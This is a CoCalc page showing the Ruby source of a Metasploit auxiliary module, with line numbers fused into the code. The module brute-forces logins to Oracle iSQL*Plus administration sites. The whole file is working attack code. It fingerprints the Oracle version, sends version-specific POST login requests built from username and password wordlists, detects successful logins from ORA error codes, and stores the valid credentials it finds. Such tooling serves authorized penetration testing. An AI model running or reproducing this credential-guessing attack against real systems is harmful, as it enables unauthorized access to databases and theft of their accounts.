CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/auxiliary/scanner/oracle/isqlplus_login.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::AuthBrute91011def initialize12super(13'Name' => 'Oracle iSQL*Plus Login Utility',14'Description' => %q{15This module attempts to authenticate against an Oracle ISQL*Plus16administration web site using username and password combinations indicated17by the USER_FILE, PASS_FILE, and USERPASS_FILE.1819This module does not require a valid SID, but if one is defined, it will be used.20Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to21fingerprint the version and automatically select the correct POST request.2223},24'References' =>25[26[ 'URL', 'https://blog.carnal0wnage.com/' ],27],28'Author' => [ 'CG', 'todb' ],29'License' => MSF_LICENSE30)31deregister_options('BLANK_PASSWORDS') # Blank passwords are never valid3233register_options([34Opt::RPORT(5560),35OptString.new('URI', [ true, 'Oracle iSQLPlus path.', '/isqlplus/']),36OptString.new('SID', [ false, 'Oracle SID' ]),37OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 60]),38OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",39File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt") ]),40OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),41])4243end4445def verbose46datastore['VERBOSE']47end4849def uri50datastore['URI'].to_s51end5253def timeout54(datastore['TIMEOUT'] || 60).to_i55end5657def prefix58datastore['SSL'] ? "https" : "http"59end6061def msg62"#{prefix}://#{rhost}:#{rport}/#{datastore['URI'].gsub(/^\/+/,"")} -"63end6465def get_oracle_version(ip)66begin67res = send_request_cgi({68'version' => '1.1',69'uri' => uri,70'method' => 'GET',71}, timeout)72oracle_ver = nil73if (res.nil?)74print_error("#{msg} no response")75elsif (res.code == 200)76print_status("#{msg} Received an HTTP #{res.code}")77oracle_ver = detect_oracle_version(res)78elsif (res.code == 404)79print_error("#{msg} Received an HTTP 404, check URIPATH")80elsif (res.code == 302)81print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")82else83print_error("#{msg} Received an HTTP #{res.code}")84end85return oracle_ver86rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e87print_error "#{msg} Cannot connect"88end89end9091def detect_oracle_version(res)92m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)93oracle_ver = nil94oracle_ver = 10 if m[1] && m[1] =~ /10/95oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/96if oracle_ver97print_status("#{msg} Detected Oracle version #{oracle_ver}")98print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.199else100print_error("#{msg} Unknown Oracle version detected.")101end102return oracle_ver103end104105def check_oracle_version(ver)106[9.0,9.1,9.2,10].include? ver107end108109def run_host(ip)110datastore['BLANK_PASSWORDS'] = false # Always111ver = get_oracle_version(ip)112if not check_oracle_version(ver)113print_error "#{msg} Unknown Oracle version, skipping."114return115end116if datastore['SID'].nil? || datastore['SID'].empty?117print_status "Using blank SID for authentication."118end119each_user_pass do |user, pass|120# Blank passwords aren't allowed121if pass.nil? || pass.empty?122print_status "Skipping blank password for #{user}"123else124do_login(user, pass, ver)125end126end127end128129def sid130if datastore['SID'].nil? || datastore['SID'].empty?131nil132else133datastore['SID']134end135end136137def do_login(user='DBSNMP', pass='DBSNMP', version=9.0)138uri = datastore['URI']139140vprint_status("#{msg} Trying username:'#{user}' with password:'#{pass}' with SID '#{sid}'")141success = false142if version == 9.0143postrequest = "action=logon&sqlcmd=&sqlparms=&username=#{user}&password=#{pass}&sid=#{sid}&privilege=&Log+In=%B5%C7%C2%BC"144elsif (version == 9.1 || version == 9.2)145postrequest = "action=logon&username=#{user}&password=#{pass}&sid=#{sid}&login=Login"146elsif (version == 10)147postrequest = "username=#{user}&password=#{pass}&connectID=#{sid}&report=&script=&dynamic=&type=&action=&variables=&event=login"148end149150begin151res = send_request_cgi({152'version' => '1.1',153'uri' => uri,154'method' => 'POST',155'data' => postrequest,156'headers' => { 'Referer' => "http://#{rhost}:#{rport}#{uri}" }157}, timeout)158unless (res.kind_of? Rex::Proto::Http::Response)159vprint_error("#{msg} Not responding")160return :abort161end162return :abort if (res.code == 404)163164if res.code == 200165# English, German, and Danish.166if (res.body =~ /Connected as/ or res.body =~ /Angemeldet als/ or res.body =~ /Arbejdssk/)167success = true168elsif (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)169#print_error("received ORA-01017 -- incorrect credentials")170success = false171elsif (res.body =~ /ORA-28009:/ )172print_good("#{user}:#{pass} is correct but required SYSDBA or SYSOPER login")173success = true174elsif (res.body =~ /ORA-28000:/ )#locked account175success = false176elsif (res.body =~ /ORA-12170:/ or res.body =~ /ORA-12154:/ or res.body =~ /ORA-12162:/ or res.body =~ /ORA-12560:/)177print_status("Incorrect SID -- please set a correct (or blank) SID")178return :abort179elsif180print_error("Unknown response, assuming failed. (Supported languages are English, German, and Danish)")181success = false182end183elsif res.code == 302184print_status("received a 302 to #{res.headers['Location']}")185return :abort186else187print_status("Unexpected Response of: #{res.code}")#''188return :abort189end190191rescue ::Rex::ConnectionError => e192vprint_error("#{msg} - #{e}")193return :abort194end195196if success197print_good("#{msg} successful login '#{user}' : '#{pass}' for SID '#{sid}'")198report_isqlplus_service(target_host,res)199report_oracle_sid(target_host,sid)200report_isqlauth_info(target_host,user,pass,sid)201return :next_user202else203vprint_error "#{msg} username and password failed"204return :failed205end206end207208def report_isqlplus_service(ip,res)209sname = datastore['SSL'] ? 'https' : 'http'210report_service(211:host => ip,212:proto => 'tcp',213:port => rport,214:name => sname,215:info => res.headers["Server"].to_s.strip216)217end218219def report_oracle_sid(ip,sid)220report_note(221:host => ip,222:proto => 'tcp',223:port => rport,224:type => "oracle.sid",225:data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),226:update => :unique_data227)228end229230def report_cred(opts)231service_data = {232address: opts[:ip],233port: opts[:port],234service_name: opts[:service_name],235protocol: 'tcp',236workspace_id: myworkspace_id237}238239credential_data = {240origin_type: :service,241module_fullname: fullname,242username: opts[:user],243private_data: opts[:password],244private_type: :password245}.merge(service_data)246247login_data = {248core: create_credential(credential_data),249status: Metasploit::Model::Login::Status::UNTRIED,250proof: opts[:proof]251}.merge(service_data)252253create_credential_login(login_data)254end255256def report_isqlauth_info(ip,user,pass,sid)257ora_info = {258ip: ip,259port: rport,260password: pass,261proof: sid.inspect,262service_name: 'tcp'263}264if sid.nil? || sid.empty?265ora_info.merge! :user => user266else267ora_info.merge! :user => "#{sid}/#{user}"268end269report_cred(ora_info)270end271end272273274